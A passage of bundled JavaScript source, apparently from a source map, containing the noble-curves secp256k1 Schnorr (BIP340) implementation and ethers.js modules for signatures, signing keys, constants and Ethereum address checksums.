k=' + k);\n }\n return { k1neg, k1, k2neg, k2 };\n },\n },\n}, sha256);\n// Schnorr signatures are superior to ECDSA from above. Below is Schnorr-specific BIP0340 code.\n// https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki\nconst _0n = BigInt(0);\nconst fe = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1P;\nconst ge = (x) => typeof x === 'bigint' && _0n < x && x < secp256k1N;\n/** An object mapping tags to their tagged hash prefix of [SHA256(tag) | SHA256(tag)] */\nconst TAGGED_HASH_PREFIXES = {};\nfunction taggedHash(tag, ...messages) {\n let tagP = TAGGED_HASH_PREFIXES[tag];\n if (tagP === undefined) {\n const tagH = sha256(Uint8Array.from(tag, (c) => c.charCodeAt(0)));\n tagP = concatBytes(tagH, tagH);\n TAGGED_HASH_PREFIXES[tag] = tagP;\n }\n return sha256(concatBytes(tagP, ...messages));\n}\n// ECDSA compact points are 33-byte. Schnorr is 32: we strip first byte 0x02 or 0x03\nconst pointToBytes = (point) => point.toRawBytes(true).slice(1);\nconst numTo32b = (n) => numberToBytesBE(n, 32);\nconst modP = (x) => mod(x, secp256k1P);\nconst modN = (x) => mod(x, secp256k1N);\nconst Point = secp256k1.ProjectivePoint;\nconst GmulAdd = (Q, a, b) => Point.BASE.multiplyAndAddUnsafe(Q, a, b);\n// Calculate point, scalar and bytes\nfunction schnorrGetExtPubKey(priv) {\n let d_ = secp256k1.utils.normPrivateKeyToScalar(priv); // same method executed in fromPrivateKey\n let p = Point.fromPrivateKey(d_); // P = d'⋅G; 0 < d' < n check is done inside\n const scalar = p.hasEvenY() ? d_ : modN(-d_);\n return { scalar: scalar, bytes: pointToBytes(p) };\n}\n/**\n * lift_x from BIP340. Convert 32-byte x coordinate to elliptic curve point.\n * @returns valid point checked for being on-curve\n */\nfunction lift_x(x) {\n if (!fe(x))\n throw new Error('bad x: need 0 < x < p'); // Fail if x ≥ p.\n const xx = modP(x * x);\n const c = modP(xx * x + BigInt(7)); // Let c = x³ + 7 mod p.\n let y = sqrtMod(c); // Let y = c^(p+1)/4 mod p.\n if (y % _2n !== _0n)\n y = modP(-y); // Return the unique point P such that x(P) = x and\n const p = new Point(x, y, _1n); // y(P) = y if y mod 2 = 0 or y(P) = p-y otherwise.\n p.assertValidity();\n return p;\n}\n/**\n * Create tagged hash, convert it to bigint, reduce modulo-n.\n */\nfunction challenge(...args) {\n return modN(bytesToNumberBE(taggedHash('BIP0340/challenge', ...args)));\n}\n/**\n * Schnorr public key is just `x` coordinate of Point as per BIP340.\n */\nfunction schnorrGetPublicKey(privateKey) {\n return schnorrGetExtPubKey(privateKey).bytes; // d'=int(sk). Fail if d'=0 or d'≥n. Ret bytes(d'⋅G)\n}\n/**\n * Creates Schnorr signature as per BIP340. Verifies itself before returning anything.\n * auxRand is optional and is not the sole source of k generation: bad CSPRNG won't be dangerous.\n */\nfunction schnorrSign(message, privateKey, auxRand = randomBytes(32)) {\n const m = ensureBytes('message', message);\n const { bytes: px, scalar: d } = schnorrGetExtPubKey(privateKey); // checks for isWithinCurveOrder\n const a = ensureBytes('auxRand', auxRand, 32); // Auxiliary random data a: a 32-byte array\n const t = numTo32b(d ^ bytesToNumberBE(taggedHash('BIP0340/aux', a))); // Let t be the byte-wise xor of bytes(d) and hash/aux(a)\n const rand = taggedHash('BIP0340/nonce', t, px, m); // Let rand = hash/nonce(t || bytes(P) || m)\n const k_ = modN(bytesToNumberBE(rand)); // Let k' = int(rand) mod n\n if (k_ === _0n)\n throw new Error('sign failed: k is zero'); // Fail if k' = 0.\n const { bytes: rx, scalar: k } = schnorrGetExtPubKey(k_); // Let R = k'⋅G.\n const e = challenge(rx, px, m); // Let e = int(hash/challenge(bytes(R) || bytes(P) || m)) mod n.\n const sig = new Uint8Array(64); // Let sig = bytes(R) || bytes((k + ed) mod n).\n sig.set(rx, 0);\n sig.set(numTo32b(modN(k + e * d)), 32);\n // If Verify(bytes(P), m, sig) (see below) returns failure, abort\n if (!schnorrVerify(sig, m, px))\n throw new Error('sign: Invalid signature produced');\n return sig;\n}\n/**\n * Verifies Schnorr signature.\n * Will swallow errors & return false except for initial type validation of arguments.\n */\nfunction schnorrVerify(signature, message, publicKey) {\n const sig = ensureBytes('signature', signature, 64);\n const m = ensureBytes('message', message);\n const pub = ensureBytes('publicKey', publicKey, 32);\n try {\n const P = lift_x(bytesToNumberBE(pub)); // P = lift_x(int(pk)); fail if that fails\n const r = bytesToNumberBE(sig.subarray(0, 32)); // Let r = int(sig[0:32]); fail if r ≥ p.\n if (!fe(r))\n return false;\n const s = bytesToNumberBE(sig.subarray(32, 64)); // Let s = int(sig[32:64]); fail if s ≥ n.\n if (!ge(s))\n return false;\n const e = challenge(numTo32b(r), pointToBytes(P), m); // int(challenge(bytes(r)||bytes(P)||m))%n\n const R = GmulAdd(P, s, modN(-e)); // R = s⋅G - e⋅P\n if (!R || !R.hasEvenY() || R.toAffine().x !== r)\n return false; // -eP == (n-e)P\n return true; // Fail if is_infinite(R) / not has_even_y(R) / x(R) ≠ r.\n }\n catch (error) {\n return false;\n }\n}\nexport const schnorr = /* @__PURE__ */ (() => ({\n getPublicKey: schnorrGetPublicKey,\n sign: schnorrSign,\n verify: schnorrVerify,\n utils: {\n randomPrivateKey: secp256k1.utils.randomPrivateKey,\n lift_x,\n pointToBytes,\n numberToBytesBE,\n bytesToNumberBE,\n taggedHash,\n mod,\n },\n}))();\nconst isoMap = /* @__PURE__ */ (() => isogenyMap(Fp, [\n // xNum\n [\n '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa8c7',\n '0x7d3d4c80bc321d5b9f315cea7fd44c5d595d2fc0bf63b92dfff1044f17c6581',\n '0x534c328d23f234e6e2a413deca25caece4506144037c40314ecbd0b53d9dd262',\n '0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa88c',\n ],\n // xDen\n [\n '0xd35771193d94918a9ca34ccbb7b640dd86cd409542f8487d9fe6b745781eb49b',\n '0xedadc6f64383dc1df7c4b2d51b54225406d36b641f5e41bbc52a56612a8c6d14',\n '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1\n ],\n // yNum\n [\n '0x4bda12f684bda12f684bda12f684bda12f684bda12f684bda12f684b8e38e23c',\n '0xc75e0c32d5cb7c0fa9d0a54b12a0a6d5647ab046d686da6fdffc90fc201d71a3',\n '0x29a6194691f91a73715209ef6512e576722830a201be2018a765e85a9ecee931',\n '0x2f684bda12f684bda12f684bda12f684bda12f684bda12f684bda12f38e38d84',\n ],\n // yDen\n [\n '0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffff93b',\n '0x7a06534bb8bdb49fd5e9e6632722c2989467c1bfc8e8d978dfb425d2685c2573',\n '0x6484aa716545ca2cf3a70c3fa8fe337e0a3d21162f0d6299a7bf8192bfd2a76f',\n '0x0000000000000000000000000000000000000000000000000000000000000001', // LAST 1\n ],\n].map((i) => i.map((j) => BigInt(j)))))();\nconst mapSWU = /* @__PURE__ */ (() => mapToCurveSimpleSWU(Fp, {\n A: BigInt('0x3f8731abdd661adca08a5558f0f5d272e953d363cb6f0e5d405447c01a444533'),\n B: BigInt('1771'),\n Z: Fp.create(BigInt('-11')),\n}))();\nconst htf = /* @__PURE__ */ (() => createHasher(secp256k1.ProjectivePoint, (scalars) => {\n const { x, y } = mapSWU(Fp.create(scalars[0]));\n return isoMap(x, y);\n}, {\n DST: 'secp256k1_XMD:SHA-256_SSWU_RO_',\n encodeDST: 'secp256k1_XMD:SHA-256_SSWU_NU_',\n p: Fp.ORDER,\n m: 1,\n k: 128,\n expand: 'xmd',\n hash: sha256,\n}))();\nexport const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)();\nexport const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)();\n//# sourceMappingURL=secp256k1.js.map","/**\n * A constant for the zero address.\n *\n * (**i.e.** ``\"0x0000000000000000000000000000000000000000\"``)\n */\nexport const ZeroAddress = \"0x0000000000000000000000000000000000000000\";\n//# sourceMappingURL=addresses.js.map","/**\n * A constant for the zero hash.\n *\n * (**i.e.** ``\"0x0000000000000000000000000000000000000000000000000000000000000000\"``)\n */\nexport const ZeroHash = \"0x0000000000000000000000000000000000000000000000000000000000000000\";\n//# sourceMappingURL=hashes.js.map","/**\n * A constant for the order N for the secp256k1 curve.\n *\n * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``)\n */\nexport const N = BigInt(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\");\n/**\n * A constant for the number of wei in a single ether.\n *\n * (**i.e.** ``1000000000000000000n``)\n */\nexport const WeiPerEther = BigInt(\"1000000000000000000\");\n/**\n * A constant for the maximum value for a ``uint256``.\n *\n * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``)\n */\nexport const MaxUint256 = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n/**\n * A constant for the minimum value for an ``int256``.\n *\n * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``)\n */\nexport const MinInt256 = BigInt(\"0x8000000000000000000000000000000000000000000000000000000000000000\") * BigInt(-1);\n/**\n * A constant for the maximum value for an ``int256``.\n *\n * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``)\n */\nexport const MaxInt256 = BigInt(\"0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n//# sourceMappingURL=numbers.js.map","// NFKC (composed) // (decomposed)\n/**\n * A constant for the ether symbol (normalized using NFKC).\n *\n * (**i.e.** ``\"\\\\u039e\"``)\n */\nexport const EtherSymbol = \"\\u039e\"; // \"\\uD835\\uDF63\";\n/**\n * A constant for the [[link-eip-191]] personal message prefix.\n *\n * (**i.e.** ``\"\\\\x19Ethereum Signed Message:\\\\n\"``)\n */\nexport const MessagePrefix = \"\\x19Ethereum Signed Message:\\n\";\n//# sourceMappingURL=strings.js.map","import { ZeroHash } from \"../constants/index.js\";\nimport { concat, dataLength, getBigInt, getBytes, getNumber, hexlify, toBeArray, isHexString, zeroPadValue, assertArgument, assertPrivate } from \"../utils/index.js\";\n// Constants\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_2 = BigInt(2);\nconst BN_27 = BigInt(27);\nconst BN_28 = BigInt(28);\nconst BN_35 = BigInt(35);\nconst _guard = {};\nfunction toUint256(value) {\n return zeroPadValue(toBeArray(value), 32);\n}\n/**\n * A Signature @TODO\n *\n *\n * @_docloc: api/crypto:Signing\n */\nexport class Signature {\n #r;\n #s;\n #v;\n #networkV;\n /**\n * The ``r`` value for a signature.\n *\n * This represents the ``x`` coordinate of a \"reference\" or\n * challenge point, from which the ``y`` can be computed.\n */\n get r() { return this.#r; }\n set r(value) {\n assertArgument(dataLength(value) === 32, \"invalid r\", \"value\", value);\n this.#r = hexlify(value);\n }\n /**\n * The ``s`` value for a signature.\n */\n get s() {\n assertArgument(parseInt(this.#s.substring(0, 3)) < 8, \"non-canonical s; use ._s\", \"s\", this.#s);\n return this.#s;\n }\n set s(_value) {\n assertArgument(dataLength(_value) === 32, \"invalid s\", \"value\", _value);\n this.#s = hexlify(_value);\n }\n /**\n * Return the s value, unchecked for EIP-2 compliance.\n *\n * This should generally not be used and is for situations where\n * a non-canonical S value might be relevant, such as Frontier blocks\n * that were mined prior to EIP-2 or invalid Authorization List\n * signatures.\n */\n get _s() { return this.#s; }\n /**\n * Returns true if the Signature is valid for [[link-eip-2]] signatures.\n */\n isValid() {\n return (parseInt(this.#s.substring(0, 3)) < 8);\n }\n /**\n * The ``v`` value for a signature.\n *\n * Since a given ``x`` value for ``r`` has two possible values for\n * its correspondin ``y``, the ``v`` indicates which of the two ``y``\n * values to use.\n *\n * It is normalized to the values ``27`` or ``28`` for legacy\n * purposes.\n */\n get v() { return this.#v; }\n set v(value) {\n const v = getNumber(value, \"value\");\n assertArgument(v === 27 || v === 28, \"invalid v\", \"v\", value);\n this.#v = v;\n }\n /**\n * The EIP-155 ``v`` for legacy transactions. For non-legacy\n * transactions, this value is ``null``.\n */\n get networkV() { return this.#networkV; }\n /**\n * The chain ID for EIP-155 legacy transactions. For non-legacy\n * transactions, this value is ``null``.\n */\n get legacyChainId() {\n const v = this.networkV;\n if (v == null) {\n return null;\n }\n return Signature.getChainId(v);\n }\n /**\n * The ``yParity`` for the signature.\n *\n * See ``v`` for more details on how this value is used.\n */\n get yParity() {\n return (this.v === 27) ? 0 : 1;\n }\n /**\n * The [[link-eip-2098]] compact representation of the ``yParity``\n * and ``s`` compacted into a single ``bytes32``.\n */\n get yParityAndS() {\n // The EIP-2098 compact representation\n const yParityAndS = getBytes(this.s);\n if (this.yParity) {\n yParityAndS[0] |= 0x80;\n }\n return hexlify(yParityAndS);\n }\n /**\n * The [[link-eip-2098]] compact representation.\n */\n get compactSerialized() {\n return concat([this.r, this.yParityAndS]);\n }\n /**\n * The serialized representation.\n */\n get serialized() {\n return concat([this.r, this.s, (this.yParity ? \"0x1c\" : \"0x1b\")]);\n }\n /**\n * @private\n */\n constructor(guard, r, s, v) {\n assertPrivate(guard, _guard, \"Signature\");\n this.#r = r;\n this.#s = s;\n this.#v = v;\n this.#networkV = null;\n }\n [Symbol.for('nodejs.util.inspect.custom')]() {\n return `Signature { r: \"${this.r}\", s: \"${this._s}\"${this.isValid() ? \"\" : ', valid: \"false\"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`;\n }\n /**\n * Returns a new identical [[Signature]].\n */\n clone() {\n const clone = new Signature(_guard, this.r, this._s, this.v);\n if (this.networkV) {\n clone.#networkV = this.networkV;\n }\n return clone;\n }\n /**\n * Returns a representation that is compatible with ``JSON.stringify``.\n */\n toJSON() {\n const networkV = this.networkV;\n return {\n _type: \"signature\",\n networkV: ((networkV != null) ? networkV.toString() : null),\n r: this.r, s: this._s, v: this.v,\n };\n }\n /**\n * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions.\n *\n * @example:\n * Signature.getChainId(45)\n * //_result:\n *\n * Signature.getChainId(46)\n * //_result:\n */\n static getChainId(v) {\n const bv = getBigInt(v, \"v\");\n // The v is not an EIP-155 v, so it is the unspecified chain ID\n if ((bv == BN_27) || (bv == BN_28)) {\n return BN_0;\n }\n // Bad value for an EIP-155 v\n assertArgument(bv >= BN_35, \"invalid EIP-155 v\", \"v\", v);\n return (bv - BN_35) / BN_2;\n }\n /**\n * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions.\n *\n * Legacy transactions which use [[link-eip-155]] hijack the ``v``\n * property to include the chain ID.\n *\n * @example:\n * Signature.getChainIdV(5, 27)\n * //_result:\n *\n * Signature.getChainIdV(5, 28)\n * //_result:\n *\n */\n static getChainIdV(chainId, v) {\n return (getBigInt(chainId) * BN_2) + BigInt(35 + v - 27);\n }\n /**\n * Compute the normalized legacy transaction ``v`` from a ``yParirty``,\n * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction.\n *\n * @example:\n * // The values 0 and 1 imply v is actually yParity\n * Signature.getNormalizedV(0)\n * //_result:\n *\n * // Legacy non-EIP-1559 transaction (i.e. 27 or 28)\n * Signature.getNormalizedV(27)\n * //_result:\n *\n * // Legacy EIP-155 transaction (i.e. >= 35)\n * Signature.getNormalizedV(46)\n * //_result:\n *\n * // Invalid values throw\n * Signature.getNormalizedV(5)\n * //_error:\n */\n static getNormalizedV(v) {\n const bv = getBigInt(v);\n if (bv === BN_0 || bv === BN_27) {\n return 27;\n }\n if (bv === BN_1 || bv === BN_28) {\n return 28;\n }\n assertArgument(bv >= BN_35, \"invalid v\", \"v\", v);\n // Otherwise, EIP-155 v means odd is 27 and even is 28\n return (bv & BN_1) ? 27 : 28;\n }\n /**\n * Creates a new [[Signature]].\n *\n * If no %%sig%% is provided, a new [[Signature]] is created\n * with default values.\n *\n * If %%sig%% is a string, it is parsed.\n */\n static from(sig) {\n function assertError(check, message) {\n assertArgument(check, message, \"signature\", sig);\n }\n ;\n if (sig == null) {\n return new Signature(_guard, ZeroHash, ZeroHash, 27);\n }\n if (typeof (sig) === \"string\") {\n const bytes = getBytes(sig, \"signature\");\n if (bytes.length === 64) {\n const r = hexlify(bytes.slice(0, 32));\n const s = bytes.slice(32, 64);\n const v = (s[0] & 0x80) ? 28 : 27;\n s[0] &= 0x7f;\n return new Signature(_guard, r, hexlify(s), v);\n }\n if (bytes.length === 65) {\n const r = hexlify(bytes.slice(0, 32));\n const s = hexlify(bytes.slice(32, 64));\n const v = Signature.getNormalizedV(bytes[64]);\n return new Signature(_guard, r, s, v);\n }\n assertError(false, \"invalid raw signature length\");\n }\n if (sig instanceof Signature) {\n return sig.clone();\n }\n // Get r\n const _r = sig.r;\n assertError(_r != null, \"missing r\");\n const r = toUint256(_r);\n // Get s; by any means necessary (we check consistency below)\n const s = (function (s, yParityAndS) {\n if (s != null) {\n return toUint256(s);\n }\n if (yParityAndS != null) {\n assertError(isHexString(yParityAndS, 32), \"invalid yParityAndS\");\n const bytes = getBytes(yParityAndS);\n bytes[0] &= 0x7f;\n return hexlify(bytes);\n }\n assertError(false, \"missing s\");\n })(sig.s, sig.yParityAndS);\n // Get v; by any means necessary (we check consistency below)\n const { networkV, v } = (function (_v, yParityAndS, yParity) {\n if (_v != null) {\n const v = getBigInt(_v);\n return {\n networkV: ((v >= BN_35) ? v : undefined),\n v: Signature.getNormalizedV(v)\n };\n }\n if (yParityAndS != null) {\n assertError(isHexString(yParityAndS, 32), \"invalid yParityAndS\");\n return { v: ((getBytes(yParityAndS)[0] & 0x80) ? 28 : 27) };\n }\n if (yParity != null) {\n switch (getNumber(yParity, \"sig.yParity\")) {\n case 0: return { v: 27 };\n case 1: return { v: 28 };\n }\n assertError(false, \"invalid yParity\");\n }\n assertError(false, \"missing v\");\n })(sig.v, sig.yParityAndS, sig.yParity);\n const result = new Signature(_guard, r, s, v);\n if (networkV) {\n result.#networkV = networkV;\n }\n // If multiple of v, yParity, yParityAndS we given, check they match\n assertError(sig.yParity == null || getNumber(sig.yParity, \"sig.yParity\") === result.yParity, \"yParity mismatch\");\n assertError(sig.yParityAndS == null || sig.yParityAndS === result.yParityAndS, \"yParityAndS mismatch\");\n return result;\n }\n}\n//# sourceMappingURL=signature.js.map","/**\n * Add details about signing here.\n *\n * @_subsection: api/crypto:Signing [about-signing]\n */\nimport { secp256k1 } from \"@noble/curves/secp256k1\";\nimport { concat, dataLength, getBytes, getBytesCopy, hexlify, toBeHex, assertArgument } from \"../utils/index.js\";\nimport { Signature } from \"./signature.js\";\n/**\n * A **SigningKey** provides high-level access to the elliptic curve\n * cryptography (ECC) operations and key management.\n */\nexport class SigningKey {\n #privateKey;\n /**\n * Creates a new **SigningKey** for %%privateKey%%.\n */\n constructor(privateKey) {\n assertArgument(dataLength(privateKey) === 32, \"invalid private key\", \"privateKey\", \"[REDACTED]\");\n this.#privateKey = hexlify(privateKey);\n }\n /**\n * The private key.\n */\n get privateKey() { return this.#privateKey; }\n /**\n * The uncompressed public key.\n *\n * This will always begin with the prefix ``0x04`` and be 132\n * characters long (the ``0x`` prefix and 130 hexadecimal nibbles).\n */\n get publicKey() { return SigningKey.computePublicKey(this.#privateKey); }\n /**\n * The compressed public key.\n *\n * This will always begin with either the prefix ``0x02`` or ``0x03``\n * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal\n * nibbles)\n */\n get compressedPublicKey() { return SigningKey.computePublicKey(this.#privateKey, true); }\n /**\n * Return the signature of the signed %%digest%%.\n */\n sign(digest) {\n assertArgument(dataLength(digest) === 32, \"invalid digest length\", \"digest\", digest);\n const sig = secp256k1.sign(getBytesCopy(digest), getBytesCopy(this.#privateKey), {\n lowS: true\n });\n return Signature.from({\n r: toBeHex(sig.r, 32),\n s: toBeHex(sig.s, 32),\n v: (sig.recovery ? 0x1c : 0x1b)\n });\n }\n /**\n * Returns the [[link-wiki-ecdh]] shared secret between this\n * private key and the %%other%% key.\n *\n * The %%other%% key may be any type of key, a raw public key,\n * a compressed/uncompressed pubic key or aprivate key.\n *\n * Best practice is usually to use a cryptographic hash on the\n * returned value before using it as a symetric secret.\n *\n * @example:\n * sign1 = new SigningKey(id(\"some-secret-1\"))\n * sign2 = new SigningKey(id(\"some-secret-2\"))\n *\n * // Notice that privA.computeSharedSecret(pubB)...\n * sign1.computeSharedSecret(sign2.publicKey)\n * //_result:\n *\n * // ...is equal to privB.computeSharedSecret(pubA).\n * sign2.computeSharedSecret(sign1.publicKey)\n * //_result:\n */\n computeSharedSecret(other) {\n const pubKey = SigningKey.computePublicKey(other);\n return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey), getBytes(pubKey), false));\n }\n /**\n * Compute the public key for %%key%%, optionally %%compressed%%.\n *\n * The %%key%% may be any type of key, a raw public key, a\n * compressed/uncompressed public key or private key.\n *\n * @example:\n * sign = new SigningKey(id(\"some-secret\"));\n *\n * // Compute the uncompressed public key for a private key\n * SigningKey.computePublicKey(sign.privateKey)\n * //_result:\n *\n * // Compute the compressed public key for a private key\n * SigningKey.computePublicKey(sign.privateKey, true)\n * //_result:\n *\n * // Compute the uncompressed public key\n * SigningKey.computePublicKey(sign.publicKey, false);\n * //_result:\n *\n * // Compute the Compressed a public key\n * SigningKey.computePublicKey(sign.publicKey, true);\n * //_result:\n */\n static computePublicKey(key, compressed) {\n let bytes = getBytes(key, \"key\");\n // private key\n if (bytes.length === 32) {\n const pubKey = secp256k1.getPublicKey(bytes, !!compressed);\n return hexlify(pubKey);\n }\n // raw public key; use uncompressed key with 0x04 prefix\n if (bytes.length === 64) {\n const pub = new Uint8Array(65);\n pub[0] = 0x04;\n pub.set(bytes, 1);\n bytes = pub;\n }\n const point = secp256k1.ProjectivePoint.fromHex(bytes);\n return hexlify(point.toRawBytes(compressed));\n }\n /**\n * Returns the public key for the private key which produced the\n * %%signature%% for the given %%digest%%.\n *\n * @example:\n * key = new SigningKey(id(\"some-secret\"))\n * digest = id(\"hello world\")\n * sig = key.sign(digest)\n *\n * // Notice the signer public key...\n * key.publicKey\n * //_result:\n *\n * // ...is equal to the recovered public key\n * SigningKey.recoverPublicKey(digest, sig)\n * //_result:\n *\n */\n static recoverPublicKey(digest, signature) {\n assertArgument(dataLength(digest) === 32, \"invalid digest length\", \"digest\", digest);\n const sig = Signature.from(signature);\n let secpSig = secp256k1.Signature.fromCompact(getBytesCopy(concat([sig.r, sig.s])));\n secpSig = secpSig.addRecoveryBit(sig.yParity);\n const pubKey = secpSig.recoverPublicKey(getBytesCopy(digest));\n assertArgument(pubKey != null, \"invalid signature for digest\", \"signature\", signature);\n return \"0x\" + pubKey.toHex(false);\n }\n /**\n * Returns the point resulting from adding the ellipic curve points\n * %%p0%% and %%p1%%.\n *\n * This is not a common function most developers should require, but\n * can be useful for certain privacy-specific techniques.\n *\n * For example, it is used by [[HDNodeWallet]] to compute child\n * addresses from parent public keys and chain codes.\n */\n static addPoints(p0, p1, compressed) {\n const pub0 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2));\n const pub1 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2));\n return \"0x\" + pub0.add(pub1).toHex(!!compressed);\n }\n}\n//# sourceMappingURL=signing-key.js.map","/**\n * A fundamental building block of Ethereum is the underlying\n * cryptographic primitives.\n *\n * @_section: api/crypto:Cryptographic Functions [about-crypto]\n */\nnull;\n// We import all these so we can export lock()\nimport { computeHmac } from \"./hmac.js\";\nimport { keccak256 } from \"./keccak.js\";\nimport { ripemd160 } from \"./ripemd160.js\";\nimport { pbkdf2 } from \"./pbkdf2.js\";\nimport { randomBytes } from \"./random.js\";\nimport { scrypt, scryptSync } from \"./scrypt.js\";\nimport { sha256, sha512 } from \"./sha2.js\";\nexport { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync };\nexport { SigningKey } from \"./signing-key.js\";\nexport { Signature } from \"./signature.js\";\n/**\n * Once called, prevents any future change to the underlying cryptographic\n * primitives using the ``.register`` feature for hooks.\n */\nfunction lock() {\n computeHmac.lock();\n keccak256.lock();\n pbkdf2.lock();\n randomBytes.lock();\n ripemd160.lock();\n scrypt.lock();\n scryptSync.lock();\n sha256.lock();\n sha512.lock();\n randomBytes.lock();\n}\nexport { lock };\n//# sourceMappingURL=index.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { getBytes, assertArgument } from \"../utils/index.js\";\nconst BN_0 = BigInt(0);\nconst BN_36 = BigInt(36);\nfunction getChecksumAddress(address) {\n // if (!isHexString(address, 20)) {\n // logger.throwArgumentError(\"invalid address\", \"address\", address);\n // }\n address = address.toLowerCase();\n const chars = address.substring(2).split(\"\");\n const expanded = new Uint8Array(40);\n for (let i = 0; i < 40; i++) {\n expanded[i] = chars[i].charCodeAt(0);\n }\n const hashed = getBytes(keccak256(expanded));\n for (let i = 0; i < 40; i += 2) {\n if ((hashed[i >> 1] >> 4) >= 8) {\n chars[i] = chars[i].toUpperCase();\n }\n if ((hashed[i >> 1] & 0x0f) >= 8) {\n chars[i + 1] = chars[i + 1].toUpperCase();\n }\n }\n return \"0x\" + chars.join(\"\");\n}\n// See: https://en.wikipedia.org/wiki/International_Bank_Account_Number\n// Create lookup table\nconst ibanLookup = {};\nfor (let i = 0; i < 10; i++) {\n ibanLookup[String(i)] = String(i);\n}\nfor (let i = 0; i < 26; i++) {\n ibanLookup[String.fromCharCode(65 + i)] = String(10 + i);\n}\n// How many decimal digits can we process? (for 64-bit float, this is 15)\n// i.e. Math.floor(Math.log10(Number.MAX_SAFE_INTEGER));\nconst safeDigits = 15;\nfunction ibanChecksum(address) {\n address = address.toUpperCase();\n address = address.substring(4) + address.substring(0, 2) + \"00\";\n let expanded = address.split(\"\").map((c) => { return ibanLookup[c]; }).join(\"\");\n // Javascript can handle integers safely up to 15 (decimal) digits\n while (expanded.length >= safeDigits) {\n let block = expanded.substring(0, safeDigits);\n expanded = parseInt(block, 10) % 97 + expanded.substring(block.length);\n }\n let checksum = String(98 - (parseInt(expanded, 10) % 97));\n while (checksum.length < 2) {\n checksum = \"0\" + checksum;\n }\n return checksum;\n}\n;\nconst Base36 = (function () {\n ;\n const result = {};\n for (let i = 0; i < 36; i++) {\n const key = \"0123456789abcdefghijklmnopqrstuvwxyz\"[i];\n result[key] = BigInt(i);\n }\n return result;\n})();\nfunction fromBase36(value) {\n value = value.toLowerCase();\n let result = BN_0;\n for (let i = 0; i < value.length; i++) {\n result = result * BN_36 + Base36[value[i]];\n }\n return result;\n}\n/**\n * Returns a normalized and checksumed address for %%address%%.\n * This accepts non-checksum addresses, checksum addresses and\n * [[getIcapAddress]] formats.\n *\n * The checksum in Ethereum uses the capitalization (upper-case\n * vs lower-case) of the characters within an address to encode\n * its checksum, which offers, on average, a checksum of 15-bits.\n *\n * If %%address%% contains both upper-case and lower-case, it is\n * assumed to already be a checksum address and its checksum is\n * validated, and if the address fails its expected checksum an\n * error is thrown.\n *\n * If you wish the checksum of %%address%% to be ignore, it should\n * be converted to lower-case (i.e. ``.toLowercase()``) before\n * being passed in. This should be a very rare situation though,\n * that you wish to bypass the safegaurds in place to protect\n * against an address that has been incorrectly copied from another\n * source.\n *\n * @example:\n * // Adds the checksum (via upper-casing specific letters)\n * getAddress(\"0x8ba1f109551bd432803012645ac136ddd64dba72\")\n * //_result:\n *\n * // Converts ICAP address and adds checksum\n * getAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36\");\n * //_result:\n *\n * // Throws an error if an address contains mixed case,\n * // but the checksum fails\n * getAddress(\"0x8Ba1f109551bD432803012645Ac136ddd64DBA72\")\n * //_error:\n */\nexport function getAddress(address) {\n assertArgument(typeof (address) === \"string\", \"invalid address\", \"address\", address);\n if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) {\n // Missing the 0x prefix\n if (!address.startsWith(\"0x\")) {\n address = \"0x\" + address;\n }\n const result = getChecksumAddress(address);\n // It is a checksummed address with a bad checksum\n assertArgument(!address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || result === address, \"bad address checksum\", \"address\", address);\n return result;\n }\n // Maybe ICAP? (we only support direct mode)\n if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) {\n // It is an ICAP address with a bad checksum\n assertArgument(address.substring(2, 4) === ibanChecksum(address), \"bad icap checksum\", \"address\", address);\n let result = fromBase36(address.substring(4)).toString(16);\n while (result.length < 40) {\n result = \"0\" + result;\n }\n return getChecksumAddress(\"0x\" + result);\n }\n assertArgument(false, \"invalid address\", \"address\", address);\n}\n/**\n * The [ICAP Address format](link-icap) format is an early checksum\n * format which attempts to be compatible with the banking\n * industry [IBAN format](link-wiki-iban) for bank accounts.\n *\n * It is no longer common or a recommended format.\n *\n * @example:\n * getIcapAddress(\"0x8ba1f109551bd432803012645ac136ddd64dba72\");\n * //_result:\n *\n * getIcapAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36\");\n * //_result:\n *\n * // Throws an error if the ICAP checksum is wrong\n * getIcapAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37\");\n * //_error:\n */\nexport function getIcapAddress(address) {\n //let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase();\n let base36 = BigInt(getAddress(address)).toString(36).toUpperCase();\n while (base36.length < 30) {\n base36 = \"0\" + base36;\n }\n return \"XE\" + ibanChecksum(\"XE00\" + base36) + base36;\n}\n//# sourceMappingURL=address.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { concat, dataSlice, getBigInt, getBytes, encodeRlp, 